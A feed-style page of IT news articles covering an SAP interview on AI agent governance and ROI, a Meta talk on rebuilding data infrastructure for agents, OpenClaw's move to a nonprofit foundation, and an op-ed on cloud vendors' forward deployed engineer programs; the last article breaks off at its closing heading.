<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



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<title><![CDATA['We have maybe 20 months' to rebuild for AI agents, Meta's infrastructure VP tells VB Transform 2026]]></title>
<description><![CDATA[Organizations need to transform to meet the needs of agentic AI.Meta VP of Engineering Barak Yagour opened his talk at VB Transform 2026 wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infra...]]></description>
<link>https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</guid>
<pubDate>Wed, 15 Jul 2026 17:33:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizations need to transform to meet the needs of agentic AI.</p><p>Meta VP of Engineering Barak Yagour opened his talk at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a> wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infrastructure was built for humans, not for agents, and it's starting to show.</p><p>Yagour, who leads its data infrastructure organization, told the audience that agentic queries hitting Meta's data systems grew 30x in a single half, an inversion that he said is breaking assumptions the company spent two decades building around.</p><p>The shift is not confined to Meta. Automated traffic overtook human traffic on the internet last year, reaching 51% of the total, according to <a href="https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report/">Imperva's 2025 Bad Bot Report</a>. That traffic is also growing roughly eight times faster than human traffic, according to <a href="https://www.humansecurity.com/2026-state-of-ai-traffic-cyberthreat-benchmark-report/">HUMAN Security's 2026 State of AI Traffic report</a>. Yagour cited both figures to describe what he called an inflection point already underway inside his own organization.</p><p>Yagour framed the shift as an open question for infrastructure teams everywhere. "What happens to the infrastructure we've spent years building when agents and not humans become the main consumers of that," Yagour said. "That's the world we're stepping into."</p><h2>Capacity, identity and velocity are breaking at once</h2><p>Yagour said three assumptions are breaking simultaneously inside Meta's infrastructure: capacity, identity and velocity.</p><p>On capacity, the math no longer works the way engineering teams are used to. "One engineer used to mean one unit of load," he said. "Now one engineer spawns 10 agents, each spawning subagents. Your 1,000-person org can generate the load of 100,000 users practically overnight."</p><p>His answer is not to block agent traffic but to make infrastructure agent-aware, with dynamic controls that understand agent hierarchies, cost attribution that traces consumption back to the use case that spawned it, and throttling that adapts based on priority.</p><p>Identity is breaking, too. Yagour said an agent does not fit the categories infrastructure teams built access controls around. It is not a human user, it does not carry a badge and it is not a deployed service, yet it makes decisions on its own.</p><p>Velocity is the third assumption under strain. Yagour cited a company-reported figure that GitHub Copilot writes 46% of the average user's code, then noted that faster code generation does not make the rest of the pipeline faster.</p><p>"That code still needs to be built, tested, deployed, monitored," he said. "The agent writes the code in seconds, but your CI/CD pipeline doesn't get faster just because the machine is the author."</p><h2>Trusted data environments keep agents inside guardrails</h2><p>Data is where Yagour said the pressure from agents is most direct. </p><p>"Data sits at the center of everything," he said, pointing to the decisions, products, recommender systems and next generation models it drives.</p><p>Meta is also rethinking how much autonomy to grant agents inside its own data systems. In February, the company shipped what Yagour called agentic data apps. Within three months, 63% of dashboards published across Meta were built using the new tooling, part of the same 30x rise in agentic queries Yagour cited earlier.</p><p>That growth raises a governance question. Human analysts have traditionally sat between raw data and business decisions, curating it and serving as an informal check on quality. Yagour said Meta wants to grant agents more independence on harder problems, but was direct about the risk. </p><p>"Autonomy without governance is nothing but chaos," he said. That's why the company built what it calls trusted data environments, to preserve the human check as agents take on more of that work.</p><p>"Inside, the agent can explore data freely, but every output is traced back to its source and scrutinized. So you always know that the data shared back is trusted and governed," Yagour said.</p><p>Sensitive fields are masked before an agent can reach them, and every access request is evaluated in real time against what the agent is trying to reach, why and whether it is allowed. Yagour summarized the approach as exploring broadly while releasing narrowly.</p><h2>Reasoning models are rewriting the data layer</h2><p>Meta's models are also demanding more from data as they shift from correlation to reasoning. </p><p>"Reasoning is data hungry," Yagour said. </p><p>Pattern matching works on sparse, summarized signals. Reasoning demands the full behavioral history, every interaction across every surface over time. Yagour pointed to two shifts already underway inside Meta's infrastructure to keep up.</p><p><b>Real-time streaming is replacing batch ETL for ranking pipelines.</b> A pipeline that takes 24 hours to run is not viable when a model is reasoning about a user's current intent. Yagour said real-time streaming, not batch extract-transform-load processing, is becoming the backbone of Meta's ranking and recommendation systems.</p><p><b>Storage is becoming schema-aware to stop GPU starvation.</b> Meta previously stored user data as opaque blobs with no awareness of what the data contained, which Yagour said led to heavy overfetching and idle GPU capacity. The company is now building storage that understands what it holds, pulling only the columns and time ranges a given query needs. Yagour said Meta is building toward 500 million queries per second and a petabyte per second of throughput for training data reads.</p><p>That data feeds directly into how Meta's recommendation systems behave. Yagour said 42% of Instagram users have told the company they want to fundamentally change the algorithm, not adjust a single session or setting. Meta's response is what Yagour called fully conversational recommendations, where a user tells the system what they want more of and it reasons about intent rather than matching on keywords. Yagour said the same search term, soccer, would return different results for a casual fan looking for highlights than for a club athlete seeking training drills, because the system would reason about which one is asking.</p><p>Yagour described the three threads of his talk, agents, data and recommendations, as reinforcing each other rather than moving independently. </p><p>"Agents make data more accessible. Better data makes reasoning. Reasoning creates new demands that push agents and infrastructure forward," he said. "This isn't linear; it's a flywheel."</p><p>During the Q&amp;A, an audience member asked whether Meta's push toward more intelligent infrastructure signals the end of traditional file systems in favor of newer neural storage approaches, and whether agents will keep using SQL as their interface to data the way humans do. Yagour said Meta is experimenting at every level, including questioning whether SQL is the right interface for agents at all, and that storage at Meta's scale already operates in the multi-digit exabyte range and needs to keep expanding.</p><p>Yagour closed his talk with the timeline he believes the industry is working against. "We spent 20 years building infrastructure for humans. We have maybe 20 months to rebuild the whole thing for a world where humans and agents co-create at scale," Yagour said. "The window is open, but it won't stay open for long."</p>]]></content:encoded>
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<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">Computerworld</a>.</em></p>
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<title><![CDATA[A cloud deal too good to be true]]></title>
<description><![CDATA[The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.



Let’s start with the headline numbers. AWS announced a $1 billion investment in a new Forward Deployed Engineering ...]]></description>
<link>https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.</p>



<p class="wp-block-paragraph">Let’s start with the headline numbers. <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">AWS announced a $1 billion investment</a> in a new Forward Deployed Engineering organization. Google Cloud committed $750 million to expand similar programs. <a href="https://newsroom.accenture.com/news/2026/accenture-launches-microsoft-forward-deployed-engineering-practice-to-help-organizations-scale-ai-across-the-enterprise">Microsoft has been running Azure-focused embedded engineering teams for years</a>, including partnerships with Accenture to scale forward deployed engineering practices. All three are pitching the same story: We’ll send engineers to work directly with your teams, help you deploy AI, and accelerate your <a href="https://www.cio.com/article/230425/what-is-digital-transformation-a-necessary-disruption.html">digital transformation</a>. You get top-tier technical talent for free, and we get to partner with you on your journey.</p>



<p class="wp-block-paragraph">It sounds reasonable on the surface. It sounds collaborative, even generous. But I’ve been in this industry long enough to know that when a multi-billion-dollar company offers you something for free, they’re sure to get much more than they give.</p>



<h2 class="wp-block-heading">What you actually get</h2>



<p class="wp-block-paragraph">The forward deployed engineer model isn’t new. The consulting industry has been doing some version of it for decades. What makes this different is the scale and the direct financial incentive behind it. </p>



<p class="wp-block-paragraph">These engineers work for the cloud provider. They’re not your employees. They’re not independent consultants. They’re technically excellent professionals who are being paid to solve your immediate problems while simultaneously building relationships and architectures that favor their employer’s ecosystem. Think about it from their perspective. Those forward engineers are evaluated on whether customers succeed with their employer’s platform. They’re rewarded when enterprises adopt more services from that platform. Their career advancement depends on making AWS, Google Cloud, or Microsoft Azure the obvious choice for all of your technical decisions.</p>



<p class="wp-block-paragraph">This isn’t a criticism of the individual engineers. Many of them are genuinely talented and genuinely want to help. But they’re operating within a system that rewards specific outcomes, and those outcomes align with the vendor’s financial interests, not necessarily yours.</p>



<h2 class="wp-block-heading">The problem no one talks about</h2>



<p class="wp-block-paragraph">Here’s what I see happening at enterprises right now. A company decides they need help deploying AI. A cloud provider offers to embed engineers at no additional cost. Those engineers work alongside internal teams, make architectural recommendations, and help build out systems. Six months later, the company has a production AI system running on a single cloud platform, built by people with deep expertise in that specific platform.</p>



<p class="wp-block-paragraph">The problem? Nobody evaluated whether that platform was actually the best choice for the business. Nobody looked at alternatives. Nobody asked whether a <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>architecture or best-of-breed approach might deliver better results at lower cost.</p>



<p class="wp-block-paragraph">The engineers embedded in these programs are not going to recommend that you split your workloads across providers. They’re not going to suggest you use <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> tools where they make sense. They’re not going to point you toward a competitor when their employer’s solution will work well enough. That’s not how these programs are designed to function. What you’re getting is optimized architecture for a single cloud brand, not optimized architecture for your business.</p>



<h2 class="wp-block-heading">The financial reality will hit</h2>



<p class="wp-block-paragraph">The bills are going to come due, and they’re going to be painful. I’ve watched this pattern play out before. When enterprises lock into a single cloud provider through these embedded engineering programs, they often discover two or three years later that they’re paying premiums that their more independent-thinking competitors avoided.</p>



<p class="wp-block-paragraph">The reasons are straightforward. When you’re architecting systems around a single platform, you naturally fall into usage patterns that favor that platform’s pricing structures. You use their managed databases instead of portable alternatives. You adopt their AI services instead of evaluating third-party options. You build workflows that only work within their ecosystem. And when it comes time to renegotiate or benchmark against alternatives, you find that migrating would cost more than accepting whatever pricing they offer.</p>



<p class="wp-block-paragraph">I’ve spent the past decade helping companies untangle from these situations. I’ve seen organizations with cloud bills 15 to 20 times higher than they should be, unable to migrate because their entire AI infrastructure is built on proprietary services that only work on one platform. The forward deployed engineer programs are accelerating this problem. They’re making it easier to get into these situations and harder to get out.</p>



<h2 class="wp-block-heading">Think before you commit</h2>



<p class="wp-block-paragraph">Before you accept one of these programs, consider these three recommendations.</p>



<p class="wp-block-paragraph"><strong>First, require independent architecture oversight</strong> from day one. Hire or engage architects who work for your company, not for your cloud provider. They should evaluate every recommendation made by embedded engineers against business requirements and compare options across providers. This isn’t about being suspicious of the engineers. It’s about ensuring that decisions are made with your interests in mind.</p>



<p class="wp-block-paragraph"><strong>Second, demand a clear exit strategy</strong> before you begin. Ask the cloud provider to document which proprietary services you’re using, what migration paths exist, and what the cost would be to move to an alternative platform. If they can’t provide that information, or if the migration costs seem impossibly high, that’s a sign that you’re building technical debt that will be very expensive to service later.</p>



<p class="wp-block-paragraph"><strong>Third, benchmark your costs</strong> continuously. Set up internal processes to compare your cloud spending against industry benchmarks and against what your competitors might be paying for similar workloads. Don’t wait until your contract renewal to discover that you’re paying premium prices. Monitor expenses from the beginning, and be willing to challenge your cloud provider if you’re not getting value that justifies the cost.</p>



<h2 class="wp-block-heading">The bottom line</h2>



